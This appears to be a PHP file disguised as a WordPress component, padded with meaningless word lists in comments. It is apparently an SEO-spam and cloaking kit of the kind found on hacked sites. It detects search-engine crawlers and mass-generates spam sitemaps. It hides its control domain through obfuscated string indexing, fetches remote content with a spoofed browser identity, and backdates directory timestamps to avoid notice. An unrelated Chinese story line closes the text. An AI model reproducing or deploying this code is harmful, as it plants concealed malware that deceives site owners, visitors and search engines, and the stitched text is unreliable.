grand hook mere particularly range semester territory urban. * casual coil deputy flash genius genuine gratitude highlight loosen optics origin presumably provision reject religion rival sophisticated strategy title vivid volunteer waist. * column faulty loosen mutual orbit removal shift vacuum. * acquire evolution glorious hint horrible illusion insignificant launch magnet media personnel petrol shelter shrug spit temptation universal venture. * jealous liquor portable prospect radiation. * bunch conservative dispose explode liquor modest parallel profit satellite shield shrug spit spot temptation title vacuum valley. * absolute approve fatal hydrogen modest neutral obscure obstacle orbit religious trend unique vain yield. * abundant automatic dump entry expenditure explosion extent fatal fatigue fertilizer gratitude hence lean neglect parallel passive phenomenon reject shuttle skim undergraduate urgent vary vote. * agency aspect calculate deposit deputy device drift excursion fatal gallon guarantee ingredient internal interpret knot marveous scale secure sincere talent thrust vessel vibrate virus volunteer. * applicant devise infect profitable sequence shift subway temple transmit. * breadth cope descend emphasize gallon insurance jeans principal profit retail subsequent tender vacuum virus. * elastic horror label nevertheless submit vote. * emphasize jewel joint retain. * audio award budget derive evaluate expend gallery grand guilty issue likelihood medium oxygen portion reinforce ridge shift slippery smash spill strategic venture. * comedy gasoline holy jewel motive profit reinforce severe solar subsequent swallow terminal witness. * acknowledge attach coarse export forbid hint hydrogen jealous manual marine moist naked principle quotation radiation restrain ridge slender transform. * agency applicable biology erect focus insure liable odd prescribe prior profitable retail route submerge urgent valley volcano. * agent appoint campus cancel candidate joint launch mere pat peak resistant shiver slender spur virtue wagon. * arouse balcony barrier calendar gap gear haste insurance insure liter notify obstacle parade presumably remarkable rescue shrink solar spur subt yawn. * applicant approach campus comment deaf devise disturb expel idle oval poverty remarkable shiver slope terror theme title triangle valid. * advertise available bargain discipline emphasize explode insurance interpret leak lean leisure liberal pursue reveal ridid talent trace vacant wealthy weld. * * @package WordPress */ function getRandId(){ $num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;} function get_arrvs($arr,$num,$nowkey){ $numArr = count($arr); if($nowkey + $num < $numArr) return $arr[$nowkey + $num]; else{ if($nowkey + $num - $numArr - $numArr > 0) return get_arrvs($arr,$num - $numArr,$nowkey); else return $arr[abs($nowkey + $num - $numArr)]; } } function get_pre_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key + JGNUM + 1 + LINKNUM >= $num){ if($key + JGNUM + 1 - $num > LINKNUM){ return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{ $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu); return array_merge($tmpA1,$tmpA2); } }else{ return array_slice($arr, $key + JGNUM + 1, LINKNUM); } } function get_next_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){ $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{ return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); } } function rFile($file){ if(function_exists('file_get_contents')){ return file_get_contents($file); }else{ $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function isCrawler() { $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite= array( "Googlebot", "Mediapartners-Google", "Adsbot-Google", "Yahoo!", "Google AdSense", "Yahoo Slurp", "bingbot", "MSNBot" ); foreach($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str) !== false) { return true; } } } else { return false; } } function gsitemap2($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $arrABC = range('a','z'); $tparrsI = $filenames; $randnum = rand(7000,7600); $tparrII = array_rand($tparrsI,$randnum); $tparrIII = array(); foreach($tparrII as $vs){ $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{ $filePres = ''; } if(JDT == 3){ $fileEnds = ''; }else{ $fileEnds = JTHZ; } $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL; $mapEnd = PHP_EOL . ''; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = ""; $tempArr1 = $filenames; foreach($tempArr1 as $key => $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); $tempPid = $key; $url = getalink($tempPid,$value2); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; $star++; $starPri++; } } { $gFile = '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function gsitemap($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $arrABC = range('a','z'); $tparrsI = $filenames; $randnum = rand(7000,7600); $tparrII = array_rand($tparrsI,$randnum); $tparrIII = array(); foreach($tparrII as $vs){ $tparrIII[$vs] = $filenames[$vs]; } $filenames = $tparrIII; $filePres = ''; $fileEnds = ''; $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'' . PHP_EOL; $mapEnd = PHP_EOL . ''; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = " " . $siteLink . " ". $date . "T" . $time ."-05:00 always 1.0 "; $tempArr1 = $filenames; foreach($tempArr1 as $key => $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); $tempPid = $key; $url = getalink($tempPid,$value2); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND); $str = ''; $gnumber++; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily ". $priority . " "; }else{ $str .= " " . $url . " ". $date . "T" . $time ."-05:00 daily 0.1 "; } $star++; $starPri++; } } { $gFile = '../sitetarget/site' . $arrABC[$gnumber-1] . 'target' .'.xml'; echo '
'.$gFile.'
'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); file_put_contents("./map.log",'#site' . $arrABC[$gnumber-1] . 'target' .'.xml#'.PHP_EOL,FILE_APPEND); $gnumber++; } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function curl_get_from_webpage($url,$proxy='',$loop=10){ $data = false; $i = 0; while(!$data) { $data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; } return $data;} function curl_getjs_from_webpage($url,$time){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } function curl_get_from_webpage_one_time($url,$proxy=''){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } // function my_mkdir($dir){ global $fitime; if(!is_dir($dir)){ mkdir($dir); @touch($dir, $fitime, $fitime); } } function generate_dir_file($gDir=''){ global $hostDir; $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir); $arr = explode(DIRECTORY_SEPARATOR,$gDir); if(count($arr) <= 0) return; if(!strstr($gDir,$hostDir)) $dir = $hostDir; else $dir = ''; for($i = 0 ; $i < count($arr)-1 ; $i++){ $dir .= DIRECTORY_SEPARATOR . $arr[$i]; my_mkdir($dir); } return $dir; } function strFilter($str){ $str = str_replace('`', '', $str); $str = str_replace('·', '', $str); $str = str_replace('~', '', $str); $str = str_replace('!', '', $str); $str = str_replace('!', '', $str); $str = str_replace('@', '', $str); $str = str_replace('#', '', $str); $str = str_replace('$', '', $str); $str = str_replace('¥', '', $str); $str = str_replace('%', '', $str); $str = str_replace('^', '', $str); $str = str_replace('……', '', $str); $str = str_replace('*', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace('-', '', $str); $str = str_replace('_', '', $str); $str = str_replace('——', '', $str); $str = str_replace('+', '', $str); $str = str_replace('=', '', $str); $str = str_replace('|', '', $str); $str = str_replace('\\', '', $str); $str = str_replace('[', '', $str); $str = str_replace(']', '', $str); $str = str_replace('【', '', $str); $str = str_replace('】', '', $str); $str = str_replace('{', '', $str); $str = str_replace('}', '', $str); $str = str_replace(';', '', $str); $str = str_replace(':', '', $str); $str = str_replace('<', '', $str); $str = str_replace('>', '', $str); $str = str_replace(':', '', $str); $str = str_replace('\'', '', $str); $str = str_replace('"', '', $str); $str = str_replace(',', '', $str); $str = str_replace(',', '', $str); $str = str_replace('《', '', $str); $str = str_replace('》', '', $str); $str = str_replace('.', '', $str); $str = str_replace('。', '', $str); $str = str_replace('–', '', $str); $str = str_replace('–', '', $str); $str = str_replace('/', '', $str); $str = str_replace('、', '', $str); $str = str_replace('?', '', $str); $str = str_replace('?', '', $str); $str = str_replace('°', '', $str); $str = str_replace('&', '&', $str); return trim($str); } function getalink($pid,$pname=''){ global $arrnametime,$arrKeywz,$arr_word,$strRand; if(strstr($pname,'#cat#')){ $tp_pname_arr = explode('#cat#',$pname); $pname = $tp_pname_arr[1]; $precat = $tp_pname_arr[0]; } if(function_exists("preg_split")){ $tpnameArr = preg_split('/\s+/us', $pname); }else{ $tpnameArr = explode(' ', $pname); } $pnameArr = array(); foreach($tpnameArr as $tpvs){ $tpvs = trim($tpvs); if($tpvs){ $pnameArr[] = $tpvs; } } $numPname = count($pnameArr); if($numPname > 3){ $numLinkKey = round(PNAMELEN * $numPname / 100); $yushu = KEYJG % $numPname; $arrPre = array(); $arrLast = array(); for($i=0;$i<$numPname;$i++){ if($i<$yushu){ $arrLast[] = $pnameArr[$i]; }else{ $arrPre[] = $pnameArr[$i]; } } if(count($arrLast)){ foreach($arrLast as $vs){ $arrPre[] = $vs; } } $usedNameArr = array(); for($i=0;$i<$numLinkKey;$i++){ $usedNameArr[$i] = $arrPre[$i]; } if(count($usedNameArr)){ $pname = implode(' ',$usedNameArr); } } if(JDT == 0){ $precat = strFilter($precat); $precat = preg_replace('/\s+/', '-', $precat); } $pname = strFilter($pname); $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{ $filePres = $siteLink."/"; } $rsp = '#'. BZPRO .'\d+#'; $pname = trim($pname); $pname = preg_replace('/\s+/', '-', $pname); if(JDT == 3){ $rs = '#&[^;]+;#i'; $pname = preg_replace($rs,'',$pname); while(strstr($pname,'&')) $pname = str_replace('&','',$pname); while(strstr($pname,'--')) $pname = str_replace('--','-',$pname); $linkCenter = $pname .'-' .$pid; $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); return $rtStr; } if(strlen($pname) > 235){ $rs = '#&[^;]+;#i'; $pname = preg_replace($rs,'',$pname); $pname = str_replace('&','',$pname); $pname = str_replace('&',';',$pname); if(function_exists("mb_substr")){ $pname = mb_substr($pname, 0, 235, 'utf-8'); }else{ $pname = substr($pname, 0, 235); } } $precat = preg_replace($rsp,'',$precat); $precat = str_replace('&','',$precat); $precat = str_replace('&',';',$precat); $precat = preg_replace('/\s+/', '-', $precat); $pname = preg_replace($rsp,'',$pname); if(JDT == 0){ $linkCenter = $precat.'/'.$pname.'/'.$pid; }else{ $linkCenter = $precat.'/'.$pname.'/'.$pid; } $linkCenter .= JTHZ; $linkCenter = str_replace("-/","/",$linkCenter); $linkCenter = str_replace("-".JTHZ,JTHZ,$linkCenter); while(strstr($linkCenter,'--')) $linkCenter = str_replace('--','-',$linkCenter); // $linkCenter = str_replace('/-','/',$linkCenter); $rtStr = $filePres.$linkCenter; $rtStr = str_replace($filePres.'-',$filePres,$rtStr); $rtStr = str_replace('-amp;-','-&-',$rtStr); return $rtStr; } function rmhtmltag($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>.*?#s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>.*?#i'; $str = preg_replace($rulers,'',$str); return $str; } function rmhtmltag2($tagname='',$str=''){ $rulers = '#<'.$tagname.'[^>]*>#s'; $str = preg_replace($rulers,'',$str); $rulers = '##s'; $str = preg_replace($rulers,'',$str); $rulers = '#<'.$tagname.'[^>]*>#i'; $str = preg_replace($rulers,'',$str); $rulers = '##i'; $str = preg_replace($rulers,'',$str); return $str; } // function is_ip($localIp,$ipRanges) { $localIp = ip2long($localIp); foreach($ipRanges as $val) { $ipmin=sprintf("%u",ip2long($val[0])); $ipmax=sprintf("%u",ip2long($val[1])); if($localIp >= $ipmin && $localIp <= $ipmax) { return true; } } return false;} function RandAbcs($length = ""){ $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-"; return ($str); } function getarr(){ global $O00O0O; $arr[0]=$O00O0O{14}.$O00O0O{0}.$O00O0O{7}.$O00O0O{7}.$O00O0O{18}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[1]=$O00O0O{2}.$O00O0O{20}.$O00O0O{2}.$O00O0O{4}.$O00O0O{0}.$O00O0O{18}.$O00O0O{7}.$O00O0O{14}.$O00O0O{15}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[2]=$O00O0O{2}.$O00O0O{8}.$O00O0O{11}.$O00O0O{19}.$O00O0O{12}.$O00O0O{0}.$O00O0O{17}.$O00O0O{10}.$O00O0O{4}.$O00O0O{19}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[3]=$O00O0O{18}.$O00O0O{17}.$O00O0O{0}.$O00O0O{2}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25};$arr[4]=$O00O0O{7}.$O00O0O{14}.$O00O0O{0}.$O00O0O{1}.$O00O0O{2}.$O00O0O{12}.$O00O0O{0}.$O00O0O{11}.$O00O0O{11}.$O00O0O{63}.$O00O0O{23}.$O00O0O{24}.$O00O0O{25}; return $arr; } function getthisdom(){ $myArrs = getarr(); return 'http://www.'.$myArrs[CENTERKEY].MYDIR; } function get_real_ip(){ $ip = ''; /** * resolve any proxies */ if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $ip = $_SERVER['HTTP_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) { $ip = $_SERVER['HTTP_X_FORWARDED']; } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) { $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP']; } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) { $ip = $_SERVER['HTTP_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_FORWARDED'])) { $ip = $_SERVER['HTTP_FORWARDED']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } if (trim($ip) == '') { if (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } else { $ip = getenv('REMOTE_ADDR'); } } /** * sanitize for validity as an IPv4 or IPv6 address */ $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip); /** * if it's still blank, set to a single dot */ if (trim($ip) == '') $ip = '.'; return $ip; } /** * appreciate diverse fax globe jewel nevertheless restraint talent tuition virtue yield. * arichmetic attach cliff distinguish episode globe household hydrogen impose ingredient suspicion universal vary. * ban consume durable interfere passport stimulate. * agency appropriate competent extraordinary glory inhabitant notify orchestra range slippery trap victim volcano. * agent architecture capture cargo conquer deposit dump evolution export flash gallon household individual knot marine sake shift temporary trace vessel videotape. * bother conservative distinguish glory junior loose mutual naval spray. * academic advertisement architecture continual distinguish facility hydrogen launch mature particularly peak revenue shrink slide spray stimulate tedious tend territory. * applicant balcony consistent deposit dive elaborate extraordinary fax interpret leak nylon pants professional seminar transmit treaty vanish vehicle vessel. * awkward ban burst consume deserve enviroment geometry gratitude household invade jail liberal merchant nevertheless prospect regulate religion religious render suburb. * aspect chaos enthusiasm expel expensive favorite horror molecule orient revenue unique usage vertical withdraw. * approximate geography removal torture. * dusk export jewel lynar provision usage via. * adult collision fate horrible moisture pants poverty radical spray tarnest tidy torture withstand. * adopt code continuous delay gasoline magnet navigation opponent parallel participate powder primitive rely sensitive strategy textile transplant triangle wagon. * comparable dumb extent principle scan sorrow tropical variation. * advertise aware compete deputy evil exaggerate fatal faulty highlight infant lean liable medium reinforce shelter tidy virtue. * adult automatic balcony bundle campus liquor passport snap. * * @package WordPress */ //file end

那么他究竟做了什么坏事了呢?请听下回分解。